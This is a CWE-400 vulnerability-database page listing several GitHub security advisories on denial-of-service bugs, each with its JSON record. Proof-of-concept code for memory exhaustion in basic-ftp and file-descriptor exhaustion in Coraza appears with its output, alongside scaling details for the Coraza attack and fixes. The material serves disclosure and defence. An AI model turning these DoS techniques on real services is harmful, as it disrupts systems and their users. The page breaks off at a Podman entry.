Common Weakness Enumeration

CWE-400

Discouraged

Uncontrolled Resource Consumption

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product does not properly control the allocation and maintenance of a limited resource.

6465 vulnerabilities reference this CWE, most recent first.

GHSA-RMV6-PCXX-VFGJ

Vulnerability from github – Published: 2024-11-11 06:30 – Updated: 2024-11-11 06:30
VLAI
Details

Authenticated users can upload specifically crafted files to leak server resources. This behavior can potentially be used to run a denial of service attack against Cloud Controller.

The Cloud Foundry project recommends upgrading the following releases:

  • Upgrade capi release version to 1.194.0 or greater
  • Upgrade cf-deployment version to v44.1.0 or greater. This includes a patched capi release
Severity
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/AU:Y/R:U/RE:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T06:15:04Z",
    "severity": "MODERATE"
  },
  "details": "Authenticated users can upload specifically crafted files to leak server resources. This behavior can potentially be used to run a denial of service attack against Cloud Controller.\n\nThe Cloud Foundry project recommends upgrading the following releases:\n\n  *  Upgrade capi release version to 1.194.0 or greater\n  *  Upgrade cf-deployment version to v44.1.0 or greater. This includes a patched capi release",
  "id": "GHSA-rmv6-pcxx-vfgj",
  "modified": "2024-11-11T06:30:33Z",
  "published": "2024-11-11T06:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38826"
    },
    {
      "type": "WEB",
      "url": "https://www.cloudfoundry.org/blog/cve-2024-38826-cloud-controller-denial-of-service-attack"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:Y/R:U/V:X/RE:L/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RMX6-5P52-GPQ2

Vulnerability from github – Published: 2022-05-13 01:28 – Updated: 2022-05-13 01:28
VLAI
Details

Cisco Adaptive Security Appliance (ASA) Software 8.4(.6) and earlier, when using an unsupported configuration with overlapping criteria for filtering and inspection, allows remote attackers to cause a denial of service (traffic loop and device crash) via a packet that triggers multiple matches, aka Bug ID CSCui45606.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2013-5567"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2014-07-14T21:55:00Z",
    "severity": "MODERATE"
  },
  "details": "Cisco Adaptive Security Appliance (ASA) Software 8.4(.6) and earlier, when using an unsupported configuration with overlapping criteria for filtering and inspection, allows remote attackers to cause a denial of service (traffic loop and device crash) via a packet that triggers multiple matches, aka Bug ID CSCui45606.",
  "id": "GHSA-rmx6-5p52-gpq2",
  "modified": "2022-05-13T01:28:47Z",
  "published": "2022-05-13T01:28:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-5567"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/94445"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/content/CiscoSecurityNotice/CVE-2013-5567"
    },
    {
      "type": "WEB",
      "url": "http://tools.cisco.com/security/center/viewAlert.x?alertId=34911"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/68504"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1030555"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-RP42-5VXX-QPWR

Vulnerability from github – Published: 2026-04-16 21:37 – Updated: 2026-04-24 21:02
VLAI
Summary
basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()
Details

Summary

basic-ftp@5.2.2 is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to Client.list(), causing the client process to consume memory until it becomes unstable or crashes.

Details

The issue is in the package's default directory listing flow.

Client.list() reaches dist/Client.js, where the full listing response is downloaded into a StringWriter before parsing:

File: dist/Client.js:516-527

async _requestListWithCommand(command) {
    const buffer = new StringWriter_1.StringWriter();
    await (0, transfer_1.downloadTo)(buffer, {
        ftp: this.ftp,
        tracker: this._progressTracker,
        command,
        remotePath: "",
        type: "list"
    });
    const text = buffer.getText(this.ftp.encoding);
    this.ftp.log(text);
    return this.parseList(text);
}

The vulnerable sink is StringWriter, which grows an in-memory Buffer with no limit:

File: dist/StringWriter.js:5-20

class StringWriter extends stream_1.Writable {
    constructor() {
        super(...arguments);
        this.buf = Buffer.alloc(0);
    }
    _write(chunk, _, callback) {
        if (chunk instanceof Buffer) {
            this.buf = Buffer.concat([this.buf, chunk]);
            callback(null);
        }
        else {
            callback(new Error("StringWriter expects chunks of type 'Buffer'."));
        }
    }
    getText(encoding) {
        return this.buf.toString(encoding);
    }
}

The critical operation is:

this.buf = Buffer.concat([this.buf, chunk]);

There is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.

How it happens:

  1. An application connects to an attacker-controlled or compromised FTP server.
  2. The application calls client.list().
  3. The server returns an extremely large or unbounded directory listing.
  4. basic-ftp buffers the full response in StringWriter.
  5. Memory grows without bound due to repeated Buffer.concat(...) calls.

PoC

The following PoC exercises the vulnerable buffering primitive directly:

const { StringWriter } = require("basic-ftp/dist/StringWriter.js");

function mb(n) {
  return Math.round(n / 1024 / 1024) + "MB";
}

const writer = new StringWriter();
let wrote = 0;

for (let i = 0; i < 32; i++) {
  const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);
  writer.write(chunk);
  wrote += chunk.length;

  if ((i + 1) % 8 === 0) {
    const m = process.memoryUsage();
    console.log("written", mb(wrote), "rss", mb(m.rss), "heap", mb(m.heapUsed), "buf", mb(m.arrayBuffers));
  }
}

console.log("final text len", writer.getText("utf8").length);

Observed output:

written 32MB rss 116MB heap 4MB buf 64MB
written 64MB rss 296MB heap 4MB buf 240MB
written 96MB rss 340MB heap 3MB buf 284MB
written 128MB rss 436MB heap 3MB buf 376MB
final text len 134217728

This demonstrates sustained memory growth in the same code path used to buffer directory listing data.

Supporting files saved alongside this report:

  • poc.js
  • poc_output.txt

Impact

This is a denial-of-service vulnerability affecting applications that use basic-ftp to list directories from remote FTP servers.

  • Vulnerability class: Memory exhaustion / Denial of Service
  • Attack precondition: The victim connects to a malicious or compromised FTP server and performs Client.list()
  • Impacted users: Any application or service using basic-ftp@5.2.2 against untrusted FTP endpoints
  • Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination

Recommended remediation:

  1. Enforce a maximum listing size.
  2. Abort transfers that exceed the configured limit.
  3. Prefer incremental or streaming parsing over full-response buffering.

Example defensive check:

if (this.buf.length + chunk.length > MAX_LISTING_BYTES) {
    callback(new Error("FTP listing exceeds maximum allowed size."));
    return;
}
this.buf = Buffer.concat([this.buf, chunk]);
Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.2.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "basic-ftp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "5.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41324"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T21:37:48Z",
    "nvd_published_at": "2026-04-24T04:16:20Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`basic-ftp@5.2.2` is vulnerable to denial of service through unbounded memory growth while processing directory listings from a remote FTP server. A malicious or compromised server can send an extremely large or never-ending listing response to `Client.list()`, causing the client process to consume memory until it becomes unstable or crashes.\n\n### Details\nThe issue is in the package\u0027s default directory listing flow.\n\n`Client.list()` reaches `dist/Client.js`, where the full listing response is downloaded into a `StringWriter` before parsing:\n\nFile: `dist/Client.js:516-527`\n\n```js\nasync _requestListWithCommand(command) {\n    const buffer = new StringWriter_1.StringWriter();\n    await (0, transfer_1.downloadTo)(buffer, {\n        ftp: this.ftp,\n        tracker: this._progressTracker,\n        command,\n        remotePath: \"\",\n        type: \"list\"\n    });\n    const text = buffer.getText(this.ftp.encoding);\n    this.ftp.log(text);\n    return this.parseList(text);\n}\n```\n\nThe vulnerable sink is `StringWriter`, which grows an in-memory `Buffer` with no limit:\n\nFile: `dist/StringWriter.js:5-20`\n\n```js\nclass StringWriter extends stream_1.Writable {\n    constructor() {\n        super(...arguments);\n        this.buf = Buffer.alloc(0);\n    }\n    _write(chunk, _, callback) {\n        if (chunk instanceof Buffer) {\n            this.buf = Buffer.concat([this.buf, chunk]);\n            callback(null);\n        }\n        else {\n            callback(new Error(\"StringWriter expects chunks of type \u0027Buffer\u0027.\"));\n        }\n    }\n    getText(encoding) {\n        return this.buf.toString(encoding);\n    }\n}\n```\n\nThe critical operation is:\n\n```js\nthis.buf = Buffer.concat([this.buf, chunk]);\n```\n\nThere is no maximum size check, no truncation, and no streaming parser. Because the remote FTP server controls the listing response, it can force the client to keep allocating memory until the process is terminated.\n\nHow it happens:\n\n1. An application connects to an attacker-controlled or compromised FTP server.\n2. The application calls `client.list()`.\n3. The server returns an extremely large or unbounded directory listing.\n4. `basic-ftp` buffers the full response in `StringWriter`.\n5. Memory grows without bound due to repeated `Buffer.concat(...)` calls.\n\n### PoC\nThe following PoC exercises the vulnerable buffering primitive directly:\n\n```js\nconst { StringWriter } = require(\"basic-ftp/dist/StringWriter.js\");\n\nfunction mb(n) {\n  return Math.round(n / 1024 / 1024) + \"MB\";\n}\n\nconst writer = new StringWriter();\nlet wrote = 0;\n\nfor (let i = 0; i \u003c 32; i++) {\n  const chunk = Buffer.alloc(4 * 1024 * 1024, 0x41);\n  writer.write(chunk);\n  wrote += chunk.length;\n\n  if ((i + 1) % 8 === 0) {\n    const m = process.memoryUsage();\n    console.log(\"written\", mb(wrote), \"rss\", mb(m.rss), \"heap\", mb(m.heapUsed), \"buf\", mb(m.arrayBuffers));\n  }\n}\n\nconsole.log(\"final text len\", writer.getText(\"utf8\").length);\n```\n\nObserved output:\n\n```text\nwritten 32MB rss 116MB heap 4MB buf 64MB\nwritten 64MB rss 296MB heap 4MB buf 240MB\nwritten 96MB rss 340MB heap 3MB buf 284MB\nwritten 128MB rss 436MB heap 3MB buf 376MB\nfinal text len 134217728\n```\n\nThis demonstrates sustained memory growth in the same code path used to buffer directory listing data.\n\nSupporting files saved alongside this report:\n\n- `poc.js`\n- `poc_output.txt`\n\n### Impact\nThis is a denial-of-service vulnerability affecting applications that use `basic-ftp` to list directories from remote FTP servers.\n\n- Vulnerability class: Memory exhaustion / Denial of Service\n- Attack precondition: The victim connects to a malicious or compromised FTP server and performs `Client.list()`\n- Impacted users: Any application or service using `basic-ftp@5.2.2` against untrusted FTP endpoints\n- Security effect: The attacker can cause excessive memory consumption, process instability, and potential process termination\n\nRecommended remediation:\n\n1. Enforce a maximum listing size.\n2. Abort transfers that exceed the configured limit.\n3. Prefer incremental or streaming parsing over full-response buffering.\n\nExample defensive check:\n\n```js\nif (this.buf.length + chunk.length \u003e MAX_LISTING_BYTES) {\n    callback(new Error(\"FTP listing exceeds maximum allowed size.\"));\n    return;\n}\nthis.buf = Buffer.concat([this.buf, chunk]);\n```",
  "id": "GHSA-rp42-5vxx-qpwr",
  "modified": "2026-04-24T21:02:13Z",
  "published": "2026-04-16T21:37:48Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patrickjuchli/basic-ftp/security/advisories/GHSA-rp42-5vxx-qpwr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41324"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patrickjuchli/basic-ftp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "basic-ftp vulnerable to denial of service via unbounded memory consumption in Client.list()"
}

GHSA-RP44-9RCV-J4MV

Vulnerability from github – Published: 2022-11-11 19:00 – Updated: 2022-11-17 15:30
VLAI
Details

Uncontrolled resource consumption in the Intel(R) Support Android application before version 22.02.28 may allow an authenticated user to potentially enable denial of service via local access.

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-30691"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-11T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Uncontrolled resource consumption in the Intel(R) Support Android application before version 22.02.28 may allow an authenticated user to potentially enable denial of service via local access.",
  "id": "GHSA-rp44-9rcv-j4mv",
  "modified": "2022-11-17T15:30:21Z",
  "published": "2022-11-11T19:00:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-30691"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00740.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RP5X-RJ69-R36X

Vulnerability from github – Published: 2024-06-10 21:30 – Updated: 2026-04-02 21:31
VLAI
Details

The issue was addressed with improvements to the file handling protocol. This issue is fixed in visionOS 1.2. Processing web content may lead to a denial-of-service.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-27812"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-10T21:15:50Z",
    "severity": "MODERATE"
  },
  "details": "The issue was addressed with improvements to the file handling protocol. This issue is fixed in visionOS 1.2. Processing web content may lead to a denial-of-service.",
  "id": "GHSA-rp5x-rj69-r36x",
  "modified": "2026-04-02T21:31:45Z",
  "published": "2024-06-10T21:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-27812"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/120906"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT214108"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/kb/HT214108"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2024/Jun/5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RP64-MPMJ-44XF

Vulnerability from github – Published: 2023-06-19 18:30 – Updated: 2024-04-04 04:57
VLAI
Details

Vulnerability of system restart triggered by abnormal callbacks passed to APIs.Successful exploitation of this vulnerability may cause the system to restart.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-34166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-19T17:15:12Z",
    "severity": "HIGH"
  },
  "details": "Vulnerability of system restart triggered by abnormal callbacks passed to APIs.Successful exploitation of this vulnerability may cause the system to restart.",
  "id": "GHSA-rp64-mpmj-44xf",
  "modified": "2024-04-04T04:57:55Z",
  "published": "2023-06-19T18:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34166"
    },
    {
      "type": "WEB",
      "url": "https://consumer.huawei.com/en/support/bulletin/2023/6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-RP66-WCX8-J4PJ

Vulnerability from github – Published: 2026-06-23 15:32 – Updated: 2026-06-23 15:32
VLAI
Details

Cap-go capgo (capgo-backend) before 12.128.12 contains an unauthenticated denial-of-service vulnerability arising from the audit_logs table's Row-Level Security (RLS) policy when accessed via the Supabase PostgREST API. Because the PostgreSQL query planner executes costly logic before RLS rejection, unfiltered queries to the public.audit_logs endpoint using the public anon key consistently trigger statement timeouts (PostgREST error 57014). Under concurrency, this exhausts database resources and causes cascading HTTP 500 failures on unrelated endpoints (e.g. /orgs), resulting in an application-layer denial of service.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
8.7 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-23T13:16:44Z",
    "severity": "HIGH"
  },
  "details": "Cap-go capgo (capgo-backend) before 12.128.12 contains an unauthenticated denial-of-service vulnerability arising from the audit_logs table\u0027s Row-Level Security (RLS) policy when accessed via the Supabase PostgREST API. Because the PostgreSQL query planner executes costly logic before RLS rejection, unfiltered queries to the public.audit_logs endpoint using the public anon key consistently trigger statement timeouts (PostgREST error 57014). Under concurrency, this exhausts database resources and causes cascading HTTP 500 failures on unrelated endpoints (e.g. /orgs), resulting in an application-layer denial of service.",
  "id": "GHSA-rp66-wcx8-j4pj",
  "modified": "2026-06-23T15:32:36Z",
  "published": "2026-06-23T15:32:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Cap-go/capgo/security/advisories/GHSA-5vgv-rqj5-5748"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56248"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/capgo-unauthenticated-denial-of-service-via-audit-logs-rls-policy"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-RP9V-7XV3-R6G3

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-09 17:41
VLAI
Summary
Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor
Details

Summary

defer temp.Close() sits inside a for loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until ProcessRequest() exits. Send enough parts and you hit EMFILE. With CRS loaded, that flips MULTIPART_STRICT_ERROR to 1 and rule 200001 starts returning 400s, including on legitimate requests hitting the same condition.

Details

internal/bodyprocessors/multipart.go, line 69:

for {
    p, err := mr.NextPart()
    // ...
    temp, err := os.CreateTemp(storagePath, "crzmp*")
    defer temp.Close() // wrong scope
    io.Copy(temp, p)
}

Each iteration opens a temp file and defers its close. All of them stack up and fire together when ProcessRequest returns. 500 parts, 500 fds held simultaneously.

The body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, Content-Disposition with filename=, one byte of content) is about 104 bytes. That's roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.

Fix is straightforward: call temp.Close() explicitly after io.Copy instead of deferring it.

PoC

Tested on v3.7.0 (db9850b), Go 1.25, Linux x86_64.

Add this file at internal/bodyprocessors/poc_fd_test.go and run:

go test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...

package bodyprocessors_test

import (
    "fmt"
    "os"
    "strings"
    "sync"
    "sync/atomic"
    "testing"

    "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
    "github.com/corazawaf/coraza/v3/internal/bodyprocessors"
    "github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func countFDs() int {
    e, _ := os.ReadDir("/proc/self/fd")
    return len(e)
}

func TestMultipartFDLeak(t *testing.T) {
    boundary := "testboundary"
    var sb strings.Builder
    for i := 0; i < 500; i++ {
        fmt.Fprintf(&sb, "--%s\r\n", boundary)
        fmt.Fprintf(&sb, "Content-Disposition: form-data; name=\"f%d\"; filename=\"f%d.txt\"\r\n", i, i)
        sb.WriteString("\r\n")
        sb.WriteString("X\r\n")
    }
    fmt.Fprintf(&sb, "--%s--\r\n", boundary)

    mp, _ := bodyprocessors.GetBodyProcessor("multipart")
    baseline := countFDs()

    var peak int64
    done := make(chan struct{})
    var wg sync.WaitGroup
    wg.Add(1)
    go func() {
        defer wg.Done()
        for {
            select {
            case <-done:
                return
            default:
                n := int64(countFDs())
                for {
                    cur := atomic.LoadInt64(&peak)
                    if n <= cur || atomic.CompareAndSwapInt64(&peak, cur, n) {
                        break
                    }
                }
            }
        }
    }()

    v := corazawaf.NewTransactionVariables()
    mp.ProcessRequest(strings.NewReader(sb.String()), v,
        plugintypes.BodyProcessorOptions{
            Mime:        "multipart/form-data; boundary=" + boundary,
            StoragePath: t.TempDir(),
        })
    close(done)
    wg.Wait()

    t.Logf("baseline=%d  peak=%d  spike=+%d",
        baseline, atomic.LoadInt64(&peak),
        atomic.LoadInt64(&peak)-int64(baseline))
}

Output:

baseline=7  peak=506  spike=+499

The spike is ~1 fd per part. After ProcessRequest returns the deferred closes fire and it drops back to baseline.

Impact

  • No authentication required. Any endpoint that accepts multipart uploads is affected.
  • fd exhaustion at ~6.8MB body (~65k parts). os.CreateTemp starts returning errors and MULTIPART_STRICT_ERROR is set to 1.
  • CRS false positives / DoS. With CRS loaded, rule 200001 then blocks the request with a 400 — and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can't distinguish the attack from a legitimate upload.
  • Process-wide impact. While the fd table is full the process can't open sockets or files for anything else either.
  • Scope. Affects all v3.x releases; the defer has been present since the multipart processor was introduced.
Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107834"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-772"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:00Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`defer temp.Close()` sits inside a `for` loop in the multipart processor. Go defers run at function return, not loop end, so every file part in the request holds an open fd until `ProcessRequest()` exits. Send enough parts and you hit `EMFILE`. With CRS loaded, that flips `MULTIPART_STRICT_ERROR` to 1 and rule `200001` starts returning 400s, including on legitimate requests hitting the same condition.\n\n## Details\n\n`internal/bodyprocessors/multipart.go`, line 69:\n\n```go\nfor {\n    p, err := mr.NextPart()\n    // ...\n    temp, err := os.CreateTemp(storagePath, \"crzmp*\")\n    defer temp.Close() // wrong scope\n    io.Copy(temp, p)\n}\n```\n\nEach iteration opens a temp file and defers its close. All of them stack up and fire together when `ProcessRequest` returns. 500 parts, 500 fds held simultaneously.\n\nThe body size limit (default 128MB) caps total bytes, not part count. A minimal file part (boundary line, `Content-Disposition` with `filename=`, one byte of content) is about 104 bytes. That\u0027s roughly 65,000 parts per 6.8MB of body, which on a standard Linux system (hard fd limit 65536) is enough to exhaust the table.\n\nFix is straightforward: call `temp.Close()` explicitly after `io.Copy` instead of deferring it.\n\n## PoC\n\nTested on v3.7.0 (`db9850b`), Go 1.25, Linux x86_64.\n\nAdd this file at `internal/bodyprocessors/poc_fd_test.go` and run:\n\n```text\ngo test -v -run TestMultipartFDLeak ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"strings\"\n\t\"sync\"\n\t\"sync/atomic\"\n\t\"testing\"\n\n\t\"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n\t\"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n\t\"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc countFDs() int {\n\te, _ := os.ReadDir(\"/proc/self/fd\")\n\treturn len(e)\n}\n\nfunc TestMultipartFDLeak(t *testing.T) {\n\tboundary := \"testboundary\"\n\tvar sb strings.Builder\n\tfor i := 0; i \u003c 500; i++ {\n\t\tfmt.Fprintf(\u0026sb, \"--%s\\r\\n\", boundary)\n\t\tfmt.Fprintf(\u0026sb, \"Content-Disposition: form-data; name=\\\"f%d\\\"; filename=\\\"f%d.txt\\\"\\r\\n\", i, i)\n\t\tsb.WriteString(\"\\r\\n\")\n\t\tsb.WriteString(\"X\\r\\n\")\n\t}\n\tfmt.Fprintf(\u0026sb, \"--%s--\\r\\n\", boundary)\n\n\tmp, _ := bodyprocessors.GetBodyProcessor(\"multipart\")\n\tbaseline := countFDs()\n\n\tvar peak int64\n\tdone := make(chan struct{})\n\tvar wg sync.WaitGroup\n\twg.Add(1)\n\tgo func() {\n\t\tdefer wg.Done()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase \u003c-done:\n\t\t\t\treturn\n\t\t\tdefault:\n\t\t\t\tn := int64(countFDs())\n\t\t\t\tfor {\n\t\t\t\t\tcur := atomic.LoadInt64(\u0026peak)\n\t\t\t\t\tif n \u003c= cur || atomic.CompareAndSwapInt64(\u0026peak, cur, n) {\n\t\t\t\t\t\tbreak\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}()\n\n\tv := corazawaf.NewTransactionVariables()\n\tmp.ProcessRequest(strings.NewReader(sb.String()), v,\n\t\tplugintypes.BodyProcessorOptions{\n\t\t\tMime:        \"multipart/form-data; boundary=\" + boundary,\n\t\t\tStoragePath: t.TempDir(),\n\t\t})\n\tclose(done)\n\twg.Wait()\n\n\tt.Logf(\"baseline=%d  peak=%d  spike=+%d\",\n\t\tbaseline, atomic.LoadInt64(\u0026peak),\n\t\tatomic.LoadInt64(\u0026peak)-int64(baseline))\n}\n```\n\nOutput:\n\n```text\nbaseline=7  peak=506  spike=+499\n```\n\nThe spike is ~1 fd per part. After `ProcessRequest` returns the deferred closes fire and it drops back to baseline.\n\n## Impact\n\n- **No authentication required.** Any endpoint that accepts multipart uploads is affected.\n- **fd exhaustion at ~6.8MB body (~65k parts).** `os.CreateTemp` starts returning errors and `MULTIPART_STRICT_ERROR` is set to 1.\n- **CRS false positives / DoS.** With CRS loaded, rule `200001` then blocks the request with a 400 \u2014 and any other multipart request processed concurrently that runs into the same condition gets blocked too. At that point the WAF can\u0027t distinguish the attack from a legitimate upload.\n- **Process-wide impact.** While the fd table is full the process can\u0027t open sockets or files for anything else either.\n- **Scope.** Affects all v3.x releases; the `defer` has been present since the multipart processor was introduced.",
  "id": "GHSA-rp9v-7xv3-r6g3",
  "modified": "2026-10-09T17:41:10Z",
  "published": "2026-10-08T17:52:00Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-rp9v-7xv3-r6g3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/1bc39036e99c88e7de60cf8e6bb55ee4c311223c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza: Resource exhaustion via deferred file handle accumulation in multipart body processor"
}

GHSA-RPCC-P8XM-RC6P

Vulnerability from github – Published: 2024-08-02 21:31 – Updated: 2024-12-27 18:30
VLAI
Summary
Podman vulnerable to memory-based denial of service
Details

